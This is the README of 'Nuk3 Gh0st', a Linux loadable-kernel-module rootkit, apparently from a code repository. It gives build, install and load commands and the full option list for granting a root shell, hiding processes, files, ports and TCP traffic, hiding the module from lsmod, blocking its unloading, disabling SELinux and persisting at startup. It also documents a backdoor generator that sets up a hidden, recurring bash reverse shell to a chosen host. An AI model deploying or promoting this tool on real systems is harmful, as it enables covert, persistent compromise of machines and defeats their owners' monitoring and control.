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Universal Linux LKM rootkit, designed to work in any kernel version and both architectures (i686 and x86_64).

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Nuk3 Gh0st

Universal Linux LKM rootkit, designed to work in any kernel version and both architectures (x86 and x64).

Note

Please be aware of existing issues following the addition of the network traffic hiding functionality. Additionally, there is instability in multicore systems.

Why Nuk3 Gh0st?

  • Is the most stable Linux LKM rootkit, working in any kernel version from 2.6.32 to 4.17.9.
  • Tested on 17 different distros with different kernel versions.
  • Can enable rootkit at startup, supporting sysv-init, upstart and systemd.
  • Includes backdoor generator, wich runs at system startup and is hidden by nuk3gh0st rootkit (files, process and traffic).
  • Temporaly disables SELINUX if it is present, to load rootkit and enable it at startup withouth problems.
  • Can hide files, processes, ports TCP and UDP of IPv4 and IPv6, and even TCP incoming and outgoing traffic.
  • Hides itself from be watched trough lsmod, and hides their own files during rootkit loading.
  • Easy to use, easy to build and compiles cleanly withouth any warning.

Functionality

The rootkit can do the following:

  • Grant root privileges to a userland process
  • Hide process by PID
  • Unhide a previously hidden process by PID
  • Hide files or directories by their name
  • Unhide previously hidden files or directories
  • Hide TCP ports (for IPv4 and IPv6)
  • Unhide previously hidden TCP ports
  • Hide UDP ports (for IPv4 and IPv6)
  • Unhide previously hidden UDP ports
  • Hide incoming or outgoing TCP traffic by ip address
  • Unhide previously hidden TCP traffic by ip address
  • Hide itself
  • Unhide itself
  • Protect against being unloaded by the user
  • Disable the unload protection

Tested On

Distro Kernel Arch
Arch Linux 2018 4.17.10-1-ARCH x86_64
Kali Linux (Rolling) 4.17.9 x86_64
Kali Linux (Rolling) 4.16.18 x86_64
Linux Mint 19 (Tara) 4.15.0-20-generic i686
Kali Linux (Rolling) 4.14.0-kali3-amd64 x86_64
Ubuntu 16.04.4 LTS 4.13.0-36-generic x86_64
Fedora 26 4.11.8-300.fc26 x86_64
Ubuntu 17.04 4.10.0-19-generic x86_64
Debian 9 4.9.0-7-686 i686
Kali Linux (Rolling) 4.4.142 x86_64
Kali Linux (Rolling) 3.16.57 x86_64
Linux Mint 17 3.13.0-37-generic x86_64
Wifislax 3.12.36 i686
Fedora 19 3.9.5-301.fc19 x86_64
Ubuntu 12.10 3.5.0-17-generic i686
Lihuen 5.10 (Debian based) 3.2.0-4-amd64 x86_64
Ubuntu 10.04.4 LTS 2.6.32-38-generic-pae i686

Pre requirements

Install a compiler, Linux headers and all other things required for us to build the rootkit:

On Debian based:

apt-get update
apt-get install linux-headers-$(uname -r)
apt-get install build-essential

On Red Hat based:

yum update
yum install linux-headers-$(uname -r)
yum install build-essential

Install

make
make install

Use

Load rootkit:

load-nuk3gh0st

Use rootkit:

nuk3gh0st --help


   $$    $$            $$         $$$$$$        
   $$$   $$            $$     $$ $$    $$       
   $$$$  $$  $$    $$  $$    $$        $$       
   $$ $$ $$  $$    $$  $$   $$     $$$$$        
   $$  $$$$  $$    $$  $$$$$$         $$        
   $$   $$$  $$    $$  $$   $$   $$    $$       
   $$    $$   $$$$$$   $$    $$   $$$$$$        

    $$$$$$  $$        $$$$$$             $$     
   $$    $$ $$       $$$   $$            $$     
   $$       $$$$$$$  $$$$  $$  $$$$$$$ $$$$$$   
   $$  $$$$ $$    $$ $$ $$ $$ $$         $$     
   $$    $$ $$    $$ $$  $$$$  $$$$$$    $$     
   $$    $$ $$    $$ $$   $$$       $$   $$ $$  
    $$$$$$  $$    $$  $$$$$$  $$$$$$$    $$$$   

                   By Juan Schällibaum
                 Based on nurupo rootkit          

   Usage: nuk3gh0st [OPTION]...

   Options:
     --root-shell                 Grants you root shell access.
     --hide-pid=PID               Hides the specified PID.
     --unhide-pid=PID             Unhides the specified PID.
     --hide-file=FILENAME         Hides the specified FILENAME globally.
                                  Must be a filename without any path.
     --unhide-file=FILENAME       Unhides the specified FILENAME.
     --hide-tcp-port=PORT         Hides the specified tcp PORT.
     --unhide-tcp-port=PORT       Unhides the specified tcp PORT.
     --hide-tcp6-port=PORT        Hides the specified tcp6 PORT.
     --unhide-tcp6-port=PORT      Unhides the specified tcp6 PORT.
     --hide-udp-port=PORT         Hides the specified udp PORT.
     --unhide-udp-port=PORT       Unhides the specified udp PORT.
     --hide-udp6-port=PORT        Hides the specified udp6 PORT.
     --unhide-udp6-port=PORT      Unhides the specified udp6 PORT.
     --hide-tcp-packet=IP         Hides tcp4 packets incoming or outgoing from IP.
     --unhide-tcp-packet=IP       Unhides tcp4 packets incoming or outgoing from IP.
     --hide                       Hides the rootkit LKM.
     --unhide                     Unhides the rootkit LKM.
     --help                       Print this help message.
     --protect                    Protects the rootkit from rmmod.
     --unprotect                  Disables the rmmod protection.

Unload rootkit:

unload-nuk3gh0st

Special functionality

Enabling rootkit at system startup:

enable-nuk3gh0st

Disabling rootkit at system startup:

disable-nuk3gh0st

Backdoor Generator

Use backdoor generator:

backdoor-generator --help

 \______   \_____    ____ |  | __ __| _/____   ___________     
  |    |  _/\__  \ _/ ___\|  |/ // __ |/  _ \ /  _ \_  __ \    
  |    |   \ / __ \  \___|    </ /_/ (  <_> |  <_> )  | \/    
  |______  /(____  /\___  >__|_ \____ |\____/ \____/|__|       
         \/      \/     \/     \/    \/                        
                                            __                 
    ____   ____   ____   ________________ _/  |_  ___________  
   / ___\_/ __ \ /    \_/ __ \_  __ \__  \   __\/  _ \_  __ \ 
  / /_/  >  ___/|   |  \  ___/|  | \// __ \|  | (  <_> )  | \/ 
  \___  / \___  >___|  /\___  >__|  (____  /__|  \____/|__|    
 /_____/      \/     \/     \/           \/                    
                                                               
    Generates a backdoor that sends bash reverse TCP shell	
        every S seconds to H host, listening on P port         
           and running it on startup, hidding itself           
           	  with Nuk3gh0st LKM rootkit                   
   								
   		       In other words...			
   	   YOU CAN MANTAIN ACCESS FOR EVER AND EVER!   		
                                                               
                                                               
 Usage:                                                            
                                                                   
    backdoor-generator --host H --port P --sleep S                 
		Genetares a backdoor that sends bash reverse TCP shell   
		every S seconds to H host listening on P port, and       
 		running it on startup.                                   
		                                                         
    backdoor-generator --remove                                    
		Remove previously generated backdoor from startup        
		and their files.                                         
		                                                         
    backdoor-generator --help                                      
		Show this menu.                                          

Uninstall

make uninstall

License

This project is licensed under GPLv2.

Credits

Nuk3gh0st is based on nurupo/rootkit. It extends its functionality by incorporating both its own modules and those from other well-known rootkits. Additionally, it has been adapted to operate on a wide range of different kernels, undergoing thorough testing across various operating systems. However, it's important to note that the core of Nuk3gh0st is derived from nurupo's rootkit, and as such, nurupo deserves the majority of the credit.

Disclaimer

Usage of nuk3gh0st for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

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Universal Linux LKM rootkit, designed to work in any kernel version and both architectures (i686 and x86_64).

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